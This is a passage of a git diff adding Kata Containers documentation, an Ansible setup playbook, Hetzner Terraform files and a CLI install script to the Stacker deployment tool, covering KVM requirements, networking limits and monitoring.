everything else is standard Docker +- **Compatibility**: Standard OCI images, no rebuilds required + +--- + +*For more details, see the [Kata Containers documentation](../kata/README.md), +[Hetzner KVM Guide](../kata/HETZNER_KVM_GUIDE.md), and +[Network Constraints](../kata/NETWORK_CONSTRAINTS.md).* diff --git a/stacker/stacker/docs/kata/HETZNER_KVM_GUIDE.md b/stacker/stacker/docs/kata/HETZNER_KVM_GUIDE.md new file mode 100644 index 0000000..3c0c84a --- /dev/null +++ b/stacker/stacker/docs/kata/HETZNER_KVM_GUIDE.md @@ -0,0 +1,160 @@ +# Hetzner Bare-Metal KVM Guide for Kata Containers + +## What Actually Works on Hetzner + +Kata Containers require direct access to `/dev/kvm`. On Hetzner, that means +**bare metal only**. + +| Platform | Example types | `/dev/kvm` available | Kata Ready | +|---|---|---|---| +| Hetzner Cloud | CCX, CX, CPX, CAX | ❌ | ❌ | +| Hetzner Robot | Dedicated bare-metal servers | ✅ | ✅ | + +> **Important:** Dedicated CPU is **not** enough on Hetzner Cloud. Even the +> CCX family runs inside a VM, and the guest OS does not get direct `/dev/kvm` +> access. For Kata on Hetzner, use **Robot bare metal**. + +## Why Hetzner Cloud Does Not Work + +All Hetzner Cloud instances run on a hypervisor that does **not** expose +`/dev/kvm` to the guest. Without KVM, the Kata hypervisor cannot create +hardware-isolated VMs, and `kata-runtime` will fail with: + +``` +kata-runtime: arch requires KVM to run, but /dev/kvm is not accessible +``` + +There is no practical workaround on Hetzner Cloud — Kata needs real KVM access. + +## Verifying KVM Access + +After provisioning your **Hetzner Robot bare-metal** server, verify KVM is +available: + +```bash +# Check /dev/kvm exists +ls -la /dev/kvm +# Expected: crw-rw---- 1 root kvm 10, 232 ... /dev/kvm + +# Check KVM module is loaded +lsmod | grep kvm +# Expected: kvm_intel (or kvm_amd) and kvm modules + +# After installing Kata, run Kata's own validation +kata-runtime check +# Expected: all checks pass once the runtime is installed +``` + +## Provisioning a Kata-Ready Bare-Metal Server + +### Option 1: Hetzner Robot + Ansible (recommended) + +```bash +# Order and install a dedicated server in Hetzner Robot first. +# Then configure Kata on the running host: +git clone https://github.com/trydirect/stacker.git +cd stacker/docs/kata/ansible + +ansible-playbook -i , kata-setup.yml \ + --private-key ~/.ssh/id_rsa \ + --user root +``` + +Before you run the playbook: + +1. Order an x86_64 dedicated server in the + [Hetzner Robot portal](https://robot.hetzner.com/). +2. Install **Ubuntu 22.04 LTS**. +3. Add your SSH key and boot the host. +4. Verify `/dev/kvm` exists on the server. + +The `kata-setup.yml` playbook then: + +- Validates KVM access +- Installs Kata Containers from the official APT repository +- Configures Docker with the `kata` runtime +- Restarts Docker and runs a smoke test + +### Option 2: Manual Setup on an Existing Robot Server + +```bash +# SSH into your bare-metal server +ssh root@ + +# Verify KVM +ls -la /dev/kvm + +# Install Kata (Ubuntu 22.04+) +install -d /etc/apt/keyrings +curl -fsSL https://packages.kata-containers.io/kata-containers.key \ + | gpg --dearmor -o /etc/apt/keyrings/kata-containers.gpg +echo "deb [signed-by=/etc/apt/keyrings/kata-containers.gpg] \ + https://packages.kata-containers.io/stable/ubuntu/$(lsb_release -cs)/ \ + stable main" > /etc/apt/sources.list.d/kata-containers.list +apt-get update && apt-get install -y kata-containers + +# Configure Docker +python3 - <<'PY' +import json +from pathlib import Path + +path = Path('/etc/docker/daemon.json') +text = path.read_text() if path.exists() else '' +data = json.loads(text) if text.strip() else {} +data.setdefault('runtimes', {})['kata'] = {'path': '/usr/bin/kata-runtime'} +path.write_text(json.dumps(data, indent=2) + '\n') +PY +systemctl restart docker + +# Test +kata-runtime check +docker run --rm --runtime kata hello-world +``` + +## Do Not Use the Hetzner Cloud Terraform Module for Kata + +The `hcloud` provider provisions **Hetzner Cloud** VMs only. Those VMs do not +expose `/dev/kvm`, so they are not valid Kata targets. On Hetzner, the correct +flow is: + +1. Provision a **Robot bare-metal** server outside Terraform +2. Verify `/dev/kvm` +3. Run the Kata Ansible playbook or the manual install steps above + +## Network Considerations + +See [NETWORK_CONSTRAINTS.md](NETWORK_CONSTRAINTS.md) for important networking +limitations when running Kata containers, particularly around `network_mode: host`. + +## Performance Notes + +Running containers inside Kata VMs adds overhead compared to `runc`: + +| Aspect | Overhead | +|---|---| +| Container start time | +0.5–2s (VM boot) | +| Memory | +~30 MB per container (VM overhead) | +| Network latency | +50–150 µs per packet | +| Disk I/O | ~5–10% throughput reduction | +| CPU | Negligible for compute; slight overhead for syscall-heavy workloads | + +For web services, APIs, and databases, the overhead is typically negligible. +For latency-critical workloads, benchmark before committing to Kata. + +## Troubleshooting + +### `/dev/kvm` not found +- Ensure you're on a **Hetzner Robot bare-metal** server, not any Hetzner Cloud VM +- Verify virtualisation support is enabled for the host CPU +- Reboot after OS installation if `/dev/kvm` is still missing +- Check `dmesg | grep -i kvm` for kernel-level errors + +### `kata-runtime check` fails +- Run `kata-runtime check --verbose` for detailed diagnostics +- Verify kernel modules: `lsmod | grep kvm` +- Check CPU flags: `grep -c vmx /proc/cpuinfo` (Intel) or `grep -c svm /proc/cpuinfo` (AMD) + +### Container fails to start with Kata +- Check Docker logs: `journalctl -u docker -f` +- Check for `network_mode: host` conflicts (not supported) +- Ensure enough memory for VM overhead (~30 MB per container) diff --git a/stacker/stacker/docs/kata/MONITORING.md b/stacker/stacker/docs/kata/MONITORING.md new file mode 100644 index 0000000..576c4d8 --- /dev/null +++ b/stacker/stacker/docs/kata/MONITORING.md @@ -0,0 +1,75 @@ +# Kata Runtime Monitoring & Observability + +## Tracing + +The `Agent enqueue command` span now includes a `runtime` field (`runc` or `kata`) on every `deploy_app` command. Use structured log queries to filter: + +``` +runtime="kata" command_type="deploy_app" +``` + +## Prometheus Metrics + +### Recommended Counter + +Add to your metrics exporter (e.g., via actix-web-prom or custom middleware): + +``` +agent_deploy_runtime_total{runtime="kata"} +agent_deploy_runtime_total{runtime="runc"} +``` + +**Labels:** +- `runtime` — `runc` or `kata` +- `deployment_hash` — target deployment +- `status` — `success` or `failed` + +### Example PromQL Queries + +```promql +# Kata adoption rate (last 24h) +sum(rate(agent_deploy_runtime_total{runtime="kata"}[24h])) +/ sum(rate(agent_deploy_runtime_total[24h])) + +# Kata deploys per hour +sum(rate(agent_deploy_runtime_total{runtime="kata"}[1h])) + +# Compare Kata vs runc failure rates +sum(rate(agent_deploy_runtime_total{runtime="kata",status="failed"}[1h])) +/ sum(rate(agent_deploy_runtime_total{runtime="kata"}[1h])) +``` + +## Audit Trail + +Kata-related events are logged in the `audit_log` table: + +| Action | Details | When | +|--------|---------|------| +| `deploy_app` | `{"runtime": "kata"}` | Every Kata deploy | +| `kata_fallback` | `{"reason": "kata unavailable", "fallback": "runc"}` | Agent falls back to runc | +| `kata_rejected` | `{"reason": "agent lacks kata capability"}` | Enqueue rejected | + +### Query kata_fallback events: +```sql +SELECT * FROM audit_log +WHERE action = 'kata_fallback' +ORDER BY created_at DESC +LIMIT 50; +``` + +## Dashboard Widgets + +### 1. Kata vs runc Distribution (Pie Chart) +- Query: `sum by (runtime) (agent_deploy_runtime_total)` +- Refresh: 5m + +### 2. Kata Adoption Trend (Time Series) +- Query: `sum(rate(agent_deploy_runtime_total{runtime="kata"}[1h]))` +- Period: 7d + +### 3. Kata Fallback Rate (Stat Panel) +- Query: `sum(rate(audit_kata_fallback_total[24h]))` +- Threshold: >0 = warning + +### 4. Agents with Kata Support (Table) +- Source: `SELECT deployment_hash, capabilities FROM agents WHERE capabilities::text LIKE '%kata%'` diff --git a/stacker/stacker/docs/kata/NETWORK_CONSTRAINTS.md b/stacker/stacker/docs/kata/NETWORK_CONSTRAINTS.md new file mode 100644 index 0000000..ab5887e --- /dev/null +++ b/stacker/stacker/docs/kata/NETWORK_CONSTRAINTS.md @@ -0,0 +1,126 @@ +# Network Constraints with Kata Containers + +Kata Containers run each container inside a lightweight virtual machine. This VM +boundary changes how networking behaves compared to standard `runc` containers. + +## `network_mode: host` Is Not Supported + +With `runc`, `network_mode: host` shares the host's network namespace directly. +Under Kata, the container runs in a **guest VM** with its own kernel and network +stack, so there is no host namespace to share. Setting `network_mode: host` on a +Kata container will either fail or silently fall back to bridge mode (depending +on the Kata/Docker version), producing unexpected behaviour. + +**Rule of thumb:** never use `network_mode: host` with `runtime: kata`. + +## Recommended Network Modes + +| Mode | Works with Kata | Notes | +|---|---|---| +| `bridge` (default) | ✅ | Standard Docker bridge. Port mapping (`-p`) works normally. | +| `macvlan` | ✅ | Assigns a real MAC address on the host NIC; useful for L2 access. | +| `overlay` | ✅ | Swarm/multi-host overlay networks work as expected. | +| `none` | ✅ | No networking — useful for batch/compute workloads. | +| `host` | ❌ | Not supported — VM boundary prevents host namespace sharing. | + +### Port Mapping + +Standard port mapping (`ports: ["8080:80"]`) works normally in bridge mode. +Traffic crosses the VM boundary via a `virtio-net` device and a TAP interface on +the host — no extra configuration needed. + +## Performance Considerations + +Network traffic crosses the VM boundary through a virtual NIC (`virtio-net`), +which adds a small amount of latency and CPU overhead compared to `runc`. + +| Metric | Typical Overhead | +|---|---| +| Latency | ~50–150 µs additional per packet | +| Throughput | ~5–10% reduction at line rate | +| CPU | Slightly higher due to vhost processing | + +For most web services, databases, and APIs the overhead is negligible. For +latency-critical workloads (sub-millisecond SLAs, high-frequency trading), test +under load before committing to Kata. + +## Workarounds for Services That Traditionally Use Host Networking + +### 1. Use Bridge Mode with Explicit Port Mapping + +Most services use `network_mode: host` only for convenience — they work fine in +bridge mode once ports are mapped explicitly: + +```yaml +services: + my-service: + image: my-app:latest + runtime: kata + ports: + - "8080:8080" + - "9090:9090" +``` + +### 2. Use macvlan for L2 Access + +If a service needs to appear as a physical device on the LAN (e.g., for mDNS, +DHCP, or cluster discovery): + +```yaml +networks: + lan: + driver: macvlan + driver_opts: + parent: eth0 + ipam: + config: + - subnet: 192.168.1.0/24 + +services: + my-service: + image: my-app:latest + runtime: kata + networks: + lan: + ipv4_address: 192.168.1.50 +``` + +### 3. Run Specific Services with runc + +Not every service needs hardware isolation. In a mixed stack, run +security-critical containers with Kata and leave performance-critical networking +services on `runc`: + +```yaml +services: + # Isolated workload — use Kata + untrusted-processor: + image: processor:latest + runtime: kata + + # Needs host networking — keep on runc + metrics-exporter: + image: prom/node-exporter:latest + network_mode: host + # runtime defaults to runc +``` + +## How Stacker Handles This + +When a deployment specifies `runtime: kata`, the Stacker agent performs +pre-deploy validation on the generated `docker-compose.yml`: + +1. **Scans** each service block for `network_mode: host`. +2. **Emits a warning** in the deployment log if host networking is detected on a + Kata service. +3. **Does not block** the deployment — Docker/Kata will reject the incompatible + configuration at container start, and the error is surfaced in the deploy + status. + +This lets operators catch misconfigurations early without requiring Stacker to +enforce hard failures on compose content it doesn't own. + +## References + +- [Kata networking architecture](https://github.com/kata-containers/kata-containers/blob/main/docs/design/architecture/networking.md) +- [Kata limitations](https://github.com/kata-containers/kata-containers/blob/main/docs/Limitations.md) diff --git a/stacker/stacker/docs/kata/README.md b/stacker/stacker/docs/kata/README.md new file mode 100644 index 0000000..830e9c8 --- /dev/null +++ b/stacker/stacker/docs/kata/README.md @@ -0,0 +1,157 @@ +# Kata Containers Support + +[Kata Containers](https://katacontainers.io/) run workloads inside lightweight VMs, +providing hardware-level isolation while keeping the container UX. Each container +gets its own kernel, so a guest exploit cannot reach the host. + +## How Stacker Uses Kata + +When you set `runtime: kata` on a deployment, the Stacker agent: + +1. Verifies the target host has `kata-runtime` installed and `/dev/kvm` accessible. +2. Injects `runtime: kata` into the generated `docker-compose.yml` service definitions. +3. Validates compose YAML — warns if `network_mode: host` is detected (unsupported under Kata). +4. Deploys the stack normally via Docker Compose. + +On the **Stacker server** side: + +1. The `runtime` field is validated (`runc` or `kata`) — unknown values are rejected with HTTP 422. +2. Agent capabilities are checked — if the target agent doesn't report `kata` in its `/capabilities` features, the command is rejected. +3. Runtime preference is persisted in the `deployment` table and optionally in Vault. +4. Org-level runtime policies can enforce Kata for all deployments. + +## CLI Usage + +```bash +# Deploy with Kata isolation +stacker deploy --runtime kata + +# Deploy a single app with Kata +stacker agent deploy-app --app myservice --runtime kata + +# Default (runc) — no flag needed +stacker deploy +``` + +The `--runtime` flag is passed through the agent command payload. If the target +server doesn't support Kata, the command is rejected before reaching the agent. + +## Prerequisites + +| Requirement | Minimum | +|---|---| +| CPU | x86_64 with VT-x/VT-d **or** aarch64 with virtualisation extensions | +| Kernel | Linux 5.4+ with KVM module loaded | +| Docker | 20.10+ | +| Host OS | Ubuntu 22.04+ (playbook-tested) | +| Hardware | Bare-metal or another environment with documented `/dev/kvm` access | + +## Hetzner Server Types & KVM Support + +Kata Containers require direct access to `/dev/kvm`. On Hetzner, that means +**Robot bare metal**, not Hetzner Cloud: + +| Platform | CPU model | KVM Support | Kata Compatible | +|---|---|---|---| +| Hetzner Cloud CCX | Dedicated vCPU VM | ❌ | ❌ No `/dev/kvm` access | +| Hetzner Cloud CX / CPX / CAX | Shared vCPU VM | ❌ | ❌ No `/dev/kvm` access | +| Hetzner Robot | Bare-metal server | ✅ | ✅ Recommended | + +> **Important:** Hetzner Cloud VM types — including **CCX** — do not expose +> `/dev/kvm` and **cannot** run Kata Containers. Use **Hetzner Robot bare +> metal** if you need Kata on Hetzner. + +For bare-metal providers (Hetzner Robot, OVH, Scaleway), you control the host +directly and can validate KVM before installing Kata. + +## Provisioning with TFA + +The recommended way to provision Kata-ready servers is via the +[TFA](https://github.com/trydirect/try.direct.stacks) project: + +### Hetzner Provisioning Note + +Do **not** use the Hetzner Cloud Terraform path for Kata. The `hcloud` +provider creates Hetzner Cloud VMs, and those VMs do not expose `/dev/kvm`. + +For Hetzner, the valid flow is: + +1. Order a **Hetzner Robot bare-metal** server +2. Install Ubuntu 22.04 +3. Run the `kata_containers` Ansible role or `docs/kata/ansible/kata-setup.yml` +4. Verify with `kata-runtime check` + +### Ansible Role + +```bash +# Run the kata_containers role on an existing server +ansible-playbook -i , setup_stack.yml \ + --tags kata_containers \ + --private-key ~/.ssh/id_rsa \ + --user root +``` + +The `kata_containers` role: +- Validates KVM access (`/dev/kvm`) +- Installs Kata Containers from official APT repo +- Merges `kata` runtime into Docker's `daemon.json` +- Restarts Docker and runs a smoke test + +### Standalone (without TFA) + +Reference playbook and Terraform files are also available in this directory: + +| Path | Description | +|---|---| +| [ansible/kata-setup.yml](ansible/kata-setup.yml) | Standalone Ansible playbook | +| [terraform/](terraform/) | Historical Hetzner Cloud Terraform example — not valid for Hetzner + Kata because Cloud VMs lack `/dev/kvm` | + +## Architecture Flow + +``` + ┌─────────────────────────────┐ + │ stacker deploy --runtime kata │ + └──────────────┬──────────────┘ + │ + ▼ + ┌──────────────────────────────┐ + │ Stacker Server │ + │ 1. Validate runtime value │ + │ 2. Check agent capabilities │ + │ 3. Check org policy (Vault) │ + │ 4. Enqueue command │ + └──────────────┬───────────────┘ + │ + ▼ + ┌──────────────────────────────┐ + │ Status Panel Agent │ + │ 1. Detect /dev/kvm │ + │ 2. Inject runtime: kata │ + │ 3. Validate compose YAML │ + │ 4. docker compose up │ + └──────────────────────────────┘ +``` + +## Related Documentation + +| Document | Description | +|---|---| +| [HETZNER_KVM_GUIDE.md](HETZNER_KVM_GUIDE.md) | Detailed guide for Kata on Hetzner Robot bare-metal servers | +| [NETWORK_CONSTRAINTS.md](NETWORK_CONSTRAINTS.md) | Why `network_mode: host` doesn't work with Kata, and alternatives | +| [MONITORING.md](MONITORING.md) | Prometheus metrics, PromQL queries, and dashboard specs for Kata tracking | + +## Security Benefits + +Kata provides defense-in-depth for multi-tenant and untrusted workloads: + +- **Kernel isolation**: Each container has its own guest kernel — host kernel exploits are contained. +- **Hardware boundary**: The VMM (QEMU/Cloud Hypervisor) enforces memory isolation via VT-x/EPT. +- **Syscall filtering**: The guest kernel's syscall surface is independent of the host. +- **Compatible with OCI**: Standard Docker images work without modification. + +## References + +- [Kata Containers documentation](https://github.com/kata-containers/kata-containers/tree/main/docs) +- [Kata with Docker](https://github.com/kata-containers/kata-containers/blob/main/docs/install/docker/ubuntu-docker-install.md) +- [Supported hardware](https://github.com/kata-containers/kata-containers/blob/main/docs/Requirements.md) +- [Hetzner Robot](https://robot.hetzner.com/) diff --git a/stacker/stacker/docs/kata/ansible/kata-setup.yml b/stacker/stacker/docs/kata/ansible/kata-setup.yml new file mode 100644 index 0000000..dc72ae7 --- /dev/null +++ b/stacker/stacker/docs/kata/ansible/kata-setup.yml @@ -0,0 +1,190 @@ +--- +# Ansible playbook: Install and configure Kata Containers with Docker on Ubuntu 22.04+ +# +# Usage: +# ansible-playbook -i , kata-setup.yml -u root +# ansible-playbook -i inventory.ini kata-setup.yml --become +# +# Requirements: +# - Target: Ubuntu 22.04+ on KVM-capable bare-metal (or nested-virt VM) +# - Ansible 2.12+ + +- name: Provision Kata Containers runtime + hosts: all + become: true + gather_facts: true + + vars: + kata_version: "3.x" # major branch — APT will pull latest 3.x release + docker_runtime_name: kata + daemon_json_path: /etc/docker/daemon.json + + pre_tasks: + # ── Preflight checks ──────────────────────────────────────────────── + - name: Verify host is running Ubuntu 22.04+ + ansible.builtin.assert: + that: + - ansible_distribution == "Ubuntu" + - ansible_distribution_version is version('22.04', '>=') + fail_msg: "This playbook targets Ubuntu 22.04+. Detected: {{ ansible_distribution }} {{ ansible_distribution_version }}" + + - name: Check KVM device exists + ansible.builtin.stat: + path: /dev/kvm + register: kvm_dev + + - name: Fail if /dev/kvm is missing + ansible.builtin.fail: + msg: > + /dev/kvm not found. Ensure the host has hardware virtualisation enabled + (VT-x/AMD-V) and the kvm kernel module is loaded: + sudo modprobe kvm_intel # or kvm_amd + when: not kvm_dev.stat.exists + + - name: Validate KVM is accessible + ansible.builtin.command: test -r /dev/kvm -a -w /dev/kvm + changed_when: false + + tasks: + # ── Install prerequisites ─────────────────────────────────────────── + - name: Install transport packages + ansible.builtin.apt: + name: + - apt-transport-https + - ca-certificates + - curl + - gnupg + - lsb-release + state: present + update_cache: true + + # ── Docker (if not already present) ───────────────────────────────── + - name: Check if Docker is installed + ansible.builtin.command: docker --version + register: docker_check + changed_when: false + failed_when: false + + - name: Install Docker CE + when: docker_check.rc != 0 + block: + - name: Add Docker GPG key + ansible.builtin.get_url: + url: https://download.docker.com/linux/ubuntu/gpg + dest: /etc/apt/keyrings/docker.asc + mode: "0644" + + - name: Add Docker APT repository + ansible.builtin.apt_repository: + repo: >- + deb [arch={{ ansible_architecture | replace('x86_64', 'amd64') }} + signed-by=/etc/apt/keyrings/docker.asc] + https://download.docker.com/linux/ubuntu + {{ ansible_distribution_release }} stable + filename: docker + state: present + + - name: Install Docker packages + ansible.builtin.apt: + name: + - docker-ce + - docker-ce-cli + - containerd.io + - docker-compose-plugin + state: present + update_cache: true + + - name: Enable and start Docker + ansible.builtin.systemd: + name: docker + enabled: true + state: started + + # ── Kata Containers ───────────────────────────────────────────────── + - name: Add Kata Containers GPG key + ansible.builtin.get_url: + url: https://packages.kata-containers.io/kata-containers.key + dest: /etc/apt/keyrings/kata-containers.asc + mode: "0644" + + - name: Add Kata Containers APT repository + ansible.builtin.apt_repository: + repo: >- + deb [signed-by=/etc/apt/keyrings/kata-containers.asc] + https://packages.kata-containers.io/stable/ubuntu/{{ ansible_distribution_release }}/ + stable main + filename: kata-containers + state: present + + - name: Install kata-containers package + ansible.builtin.apt: + name: kata-containers + state: present + update_cache: true + + - name: Verify kata-runtime binary exists + ansible.builtin.command: kata-runtime --version + register: kata_version_output + changed_when: false + + - name: Print installed Kata version + ansible.builtin.debug: + msg: "{{ kata_version_output.stdout }}" + + # ── Configure Docker to use Kata runtime ──────────────────────────── + - name: Read existing daemon.json (if any) + ansible.builtin.slurp: + src: "{{ daemon_json_path }}" + register: existing_daemon_json + failed_when: false + + - name: Build merged daemon.json with kata runtime + ansible.builtin.set_fact: + docker_daemon_config: >- + {{ + (existing_daemon_json.content | default('e30=') | b64decode | from_json) + | combine({ + "runtimes": { + docker_runtime_name: { + "path": "/usr/bin/kata-runtime" + } + } + }, recursive=true) + }} + + - name: Write daemon.json + ansible.builtin.copy: + content: "{{ docker_daemon_config | to_nice_json }}\n" + dest: "{{ daemon_json_path }}" + owner: root + group: root + mode: "0644" + notify: Restart Docker + + # ── Kata host check ───────────────────────────────────────────────── + - name: Run kata-check to verify host compatibility + ansible.builtin.command: kata-runtime check + register: kata_check + changed_when: false + failed_when: kata_check.rc != 0 + + handlers: + - name: Restart Docker + ansible.builtin.systemd: + name: docker + state: restarted + + post_tasks: + # Flush so Docker is restarted before validation + - name: Flush handlers + ansible.builtin.meta: flush_handlers + + # ── Validation ────────────────────────────────────────────────────── + - name: Run hello-world with kata runtime + ansible.builtin.command: docker run --rm --runtime kata hello-world + register: kata_hello + changed_when: false + + - name: Confirm Kata validation passed + ansible.builtin.debug: + msg: "Kata Containers runtime is working. Output: {{ kata_hello.stdout_lines[:3] }}" diff --git a/stacker/stacker/docs/kata/terraform/main.tf b/stacker/stacker/docs/kata/terraform/main.tf new file mode 100644 index 0000000..fd47fa2 --- /dev/null +++ b/stacker/stacker/docs/kata/terraform/main.tf @@ -0,0 +1,102 @@ +# ───────────────────────────────────────────────────────────────────────────── +# Terraform module: Provision a KVM-capable Hetzner server with Docker + Kata +# ───────────────────────────────────────────────────────────────────────────── +# +# Usage: +# terraform init +# terraform plan -var="hcloud_token=YOUR_TOKEN" -var="ssh_key_name=my-key" +# terraform apply +# +# The server is provisioned with a cloud-init script that installs Docker CE +# and Kata Containers on first boot. After boot completes, run the Ansible +# playbook for idempotent configuration or simply SSH in — everything is ready. + +terraform { + required_version = ">= 1.5" + + required_providers { + hcloud = { + source = "hetznercloud/hcloud" + version = "~> 1.45" + } + } +} + +provider "hcloud" { + token = var.hcloud_token +} + +# ── SSH key reference ─────────────────────────────────────────────────────── +data "hcloud_ssh_key" "default" { + name = var.ssh_key_name +} + +# ── Dedicated server ─────────────────────────────────────────────────────── +resource "hcloud_server" "kata_host" { + name = var.server_name + image = "ubuntu-22.04" + server_type = var.server_type # must support KVM — dedicated vCPU types (ccx*, cx*) + location = var.location + ssh_keys = [data.hcloud_ssh_key.default.id] + labels = var.labels + + # cloud-init installs Docker + Kata on first boot + user_data = <<-CLOUDINIT + #cloud-config + package_update: true + package_upgrade: true + + packages: + - apt-transport-https + - ca-certificates + - curl + - gnupg + - lsb-release + + write_files: + # Docker daemon config with kata runtime pre-registered + - path: /etc/docker/daemon.json + permissions: "0644" + content: | + { + "runtimes": { + "kata": { + "path": "/usr/bin/kata-runtime" + } + } + } + + runcmd: + # ── Docker CE ────────────────────────────────────────────────── + - install -m 0755 -d /etc/apt/keyrings + - curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc + - chmod a+r /etc/apt/keyrings/docker.asc + - | + echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] \ + https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" \ + > /etc/apt/sources.list.d/docker.list + - apt-get update -y + - apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin + - systemctl enable --now docker + + # ── Kata Containers ──────────────────────────────────────────── + - curl -fsSL https://packages.kata-containers.io/kata-containers.key -o /etc/apt/keyrings/kata-containers.asc + - | + echo "deb [signed-by=/etc/apt/keyrings/kata-containers.asc] \ + https://packages.kata-containers.io/stable/ubuntu/$(lsb_release -cs)/ stable main" \ + > /etc/apt/sources.list.d/kata-containers.list + - apt-get update -y + - apt-get install -y kata-containers + + # ── Restart Docker to pick up kata runtime ───────────────────── + - systemctl restart docker + + # ── Quick smoke test ─────────────────────────────────────────── + - docker run --rm --runtime kata hello-world + CLOUDINIT + + # Dedicated servers can take a few minutes to provision + timeouts { + create = "15m" + } +} diff --git a/stacker/stacker/docs/kata/terraform/outputs.tf b/stacker/stacker/docs/kata/terraform/outputs.tf new file mode 100644 index 0000000..71aabaa --- /dev/null +++ b/stacker/stacker/docs/kata/terraform/outputs.tf @@ -0,0 +1,28 @@ +# ───────────────────────────────────────────────────────────────────────────── +# Outputs for the Kata host module +# ───────────────────────────────────────────────────────────────────────────── + +output "server_ip" { + description = "Public IPv4 address of the Kata host" + value = hcloud_server.kata_host.ipv4_address +} + +output "server_ipv6" { + description = "Public IPv6 network of the Kata host" + value = hcloud_server.kata_host.ipv6_network +} + +output "server_status" { + description = "Current status of the server (running, off, etc.)" + value = hcloud_server.kata_host.status +} + +output "server_id" { + description = "Hetzner server ID" + value = hcloud_server.kata_host.id +} + +output "ssh_command" { + description = "SSH command to connect to the server" + value = "ssh root@${hcloud_server.kata_host.ipv4_address}" +} diff --git a/stacker/stacker/docs/kata/terraform/variables.tf b/stacker/stacker/docs/kata/terraform/variables.tf new file mode 100644 index 0000000..3ccb8f8 --- /dev/null +++ b/stacker/stacker/docs/kata/terraform/variables.tf @@ -0,0 +1,48 @@ +# ───────────────────────────────────────────────────────────────────────────── +# Input variables for the Kata host module +# ───────────────────────────────────────────────────────────────────────────── + +variable "hcloud_token" { + description = "Hetzner Cloud API token" + type = string + sensitive = true +} + +variable "ssh_key_name" { + description = "Name of an existing Hetzner SSH key to inject into the server" + type = string +} + +variable "server_name" { + description = "Hostname for the provisioned server" + type = string + default = "kata-host-01" +} + +variable "server_type" { + description = <<-EOT + Hetzner server type. Use dedicated-vCPU types for reliable KVM support: + - cx23 (2 vCPU / 8 GB) — smallest dedicated, good for testing + - ccx23 (4 vCPU / 16 GB) — light production + - ccx33 (8 vCPU / 32 GB) — production + Shared-vCPU types (cx*) may work but KVM is not guaranteed. + EOT + type = string + default = "cx23" +} + +variable "location" { + description = "Hetzner datacenter location (nbg1, fsn1, hel1, ash, hil)" + type = string + default = "nbg1" +} + +variable "labels" { + description = "Labels to attach to the server resource" + type = map(string) + default = { + managed-by = "terraform" + role = "kata-host" + project = "stacker" + } +} diff --git a/stacker/stacker/install.sh b/stacker/stacker/install.sh new file mode 100755 index 0000000..6f0b486 --- /dev/null +++ b/stacker/stacker/install.sh @@ -0,0 +1,147 @@ +#!/usr/bin/env bash +# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +# Stacker CLI installer +# +# Usage: +# curl -fsSL https://get.stacker.dev/install.sh | bash +# curl -fsSL https://get.stacker.dev/install.sh | bash -s -- --channel beta +# +# Environment variables: +# STACKER_INSTALL_DIR — where to install (default: /usr/local/bin) +# STACKER_CHANNEL — release channel: stable, beta (default: stable) +# STACKER_VERSION — pin to a specific version (e.g. 0.2.2) +# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +set -euo pipefail + +REPO="trydirect/stacker" +INSTALL_DIR="${STACKER_INSTALL_DIR:-/usr/local/bin}" +CHANNEL="${STACKER_CHANNEL:-stable}" +VERSION="${STACKER_VERSION:-latest}" +BINARY_NAME="stacker" + +# ── Helpers ────────────────────────────────────────── + +info() { printf "\033[1;34m▸\033[0m %s\n" "$*"; } +ok() { printf "\033[1;32m✓\033[0m %s\n" "$*"; } +err() { printf "\033[1;31m✗\033[0m %s\n" "$*" >&2; exit 1; } + +need() { + command -v "$1" >/dev/null 2>&1 || err "Required command not found: $1" +} + +# ── Detect platform ───────────────────────────────── + +detect_os() { + case "$(uname -s)" in + Linux*) echo "linux" ;; + Darwin*) echo "darwin" ;; + *) err "Unsupported OS: $(uname -s)" ;; + esac +} + +detect_arch() { + case "$(uname -m)" in + x86_64|amd64) echo "x86_64" ;; + arm64|aarch64) echo "aarch64" ;; + *) err "Unsupported architecture: $(uname -m)" ;; + esac +} + +# ── Resolve version ───────────────────────────────── + +resolve_version() { + if [ "$VERSION" = "latest" ]; then + need curl + VERSION=$(curl -fsSL "https://api.github.com/repos/${REPO}/releases/latest" \ + | grep '"tag_name"' \ + | sed -E 's/.*"v?([^"]+)".*/\1/') + [ -n "$VERSION" ] || err "Could not determine latest version" + fi + echo "$VERSION" +} + +# ── Download & install ─────────────────────────────── + +download_and_install() { + local os arch version archive_name url tmpdir + + os=$(detect_os) + arch=$(detect_arch) + version=$(resolve_version) + + archive_name="stacker-v${version}-${arch}-${os}.tar.gz" + url="https://github.com/${REPO}/releases/download/v${version}/${archive_name}" + + info "Downloading stacker v${version} for ${os}/${arch}..." + info " ${url}" + + need curl + need tar + + tmpdir=$(mktemp -d) + trap 'rm -rf "$tmpdir"' EXIT + + curl -fsSL "$url" -o "${tmpdir}/${archive_name}" \ + || err "Download failed. Check the version exists: v${version}" + + tar -xzf "${tmpdir}/${archive_name}" -C "$tmpdir" \ + || err "Extraction failed" + + # Find the binary in the extracted archive + local bin_path + bin_path=$(find "$tmpdir" -name "$BINARY_NAME" -type f | head -1) + [ -n "$bin_path" ] || bin_path=$(find "$tmpdir" -name "stacker-cli" -type f | head -1) + [ -n "$bin_path" ] || err "Binary not found in archive" + + chmod +x "$bin_path" + + # Install + if [ -w "$INSTALL_DIR" ]; then + mv "$bin_path" "${INSTALL_DIR}/${BINARY_NAME}" + else + info "Installing to ${INSTALL_DIR} (requires sudo)..." + sudo mv "$bin_path" "${INSTALL_DIR}/${BINARY_NAME}" + fi + + ok "Installed stacker v${version} to ${INSTALL_DIR}/${BINARY_NAME}" +} + +# ── Verify install ─────────────────────────────────── + +verify() { + if command -v "$BINARY_NAME" >/dev/null 2>&1; then + ok "Verification: $($BINARY_NAME --version)" + else + info "Note: ${INSTALL_DIR} may not be in your PATH" + info " Add it: export PATH=\"${INSTALL_DIR}:\$PATH\"" + fi +} + +# ── Parse args ─────────────────────────────────────── + +while [ $# -gt 0 ]; do + case "$1" in + --channel) CHANNEL="$2"; shift 2 ;; + --version) VERSION="$2"; shift 2 ;; + --dir) INSTALL_DIR="$2"; shift 2 ;; + --help|-h) + echo "Usage: install.sh 